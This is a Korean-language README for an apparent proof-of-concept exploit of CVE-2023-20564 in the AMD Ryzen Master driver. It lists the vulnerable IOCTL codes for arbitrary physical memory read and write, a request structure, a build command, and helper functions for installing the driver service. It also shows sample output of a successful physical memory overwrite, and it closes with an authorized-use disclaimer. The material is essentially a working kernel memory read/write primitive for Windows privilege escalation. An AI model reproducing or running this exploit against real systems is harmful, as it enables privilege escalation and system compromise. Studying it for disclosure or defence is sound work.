
CVE-2023-20564에 대한 개념 증명 익스플로잇으로, AMD Ryzen Master 드라이버 IOCTL 핸들러를 통해 임의의 물리 메모리 읽기/쓰기를 시연하며 Windows에서 권한 상승을 가능하게 합니다.
이 저장소에는 AMD Ryzen Master Driver의 취약점 CVE-2023-20564를 시연하는 개념 증명(PoC) 이 포함되어 있습니다. 이 취약점으로 인해 권한이 없는 사용자가 임의의 물리 메모리를 읽고 쓸 수 있으며, 잠재적인 권한 상승 및 시스템 손상으로 이어질 수 있습니다.
AMD Ryzen Master 드라이버(AMDRyzenMasterDriverV17.sys)는 IOCTL 핸들러에서 불충분한 검증을 수행합니다. 구체적으로는 다음과 같습니다:
0x81112F08 - 임의의 물리 메모리 읽기 허용0x81112F0C - 임의의 물리 메모리 쓰기 허용드라이버는 다음을 제대로 검증하지 못합니다:
이로 인해 악성 애플리케이션이 다음을 수행할 수 있습니다:
AMDRyzenMasterDriverV17.sys - 취약한 드라이버 파일# manually
g++ -std=c++17 poc_demo.cpp -o poc_demo.exe -ladvapi32
typedef struct _AMDReadStructure {
LARGE_INTEGER PhysAddr; // Physical address to read
LARGE_INTEGER SizeAndData; // Size and data buffer
CHAR Buffer[1]; // Variable data buffer
} AMDReadStructure, *PAMDReadStructure;
ReadPhysicalMemory() - 물리 메모리에서 읽기WritePhysicalMemory() - 물리 메모리에 쓰기TestReadWriteVerify() - 전체 테스트 시퀀스InstallDriverService() - 드라이버 설치StopAndRemoveDriverService() - 드라이버 정리===========================================
AMD Ryzen Master Driver - Memory PoC
===========================================
[*] Installing and starting driver service...
[+] Driver file found
[+] Service created successfully
[+] Service started successfully
[*] Initializing driver connection...
[+] Driver connection established successfully
[!] TESTING READ/WRITE/VERIFY SEQUENCE
[STEP 1] Reading original data...
[*] Reading 8 bytes from physical address 0x100000
[*] PHYSICAL MEMORY READ SUCCESS!
Read 8 bytes from 0x100000
Data: 4D 5A 90 00 03 00 00 00
[STEP 2] Writing test data...
[*] Writing 8 bytes to physical address 0x100000
Data: DE AD BE EF CA FE BA BE
[*] PHYSICAL MEMORY WRITE SUCCESS!
Wrote 8 bytes to 0x100000
[STEP 3] Verifying written data...
[*] Reading 8 bytes from physical address 0x100000
[*] PHYSICAL MEMORY READ SUCCESS!
Data: DE AD BE EF CA FE BA BE
[*] DATA VERIFICATION SUCCESS! Write/Read works correctly!
취약한 드라이버는 두 가지 주요 IOCTL을 노출합니다:
물리 메모리 읽기 (0x81112F08)
물리 메모리 쓰기 (0x81112F0C)
기억하세요: 이 도구는 승인된 보안 테스트 전용입니다. 어떤 시스템에서 테스트하기 전에 항상 적절한 허가를 받으십시오.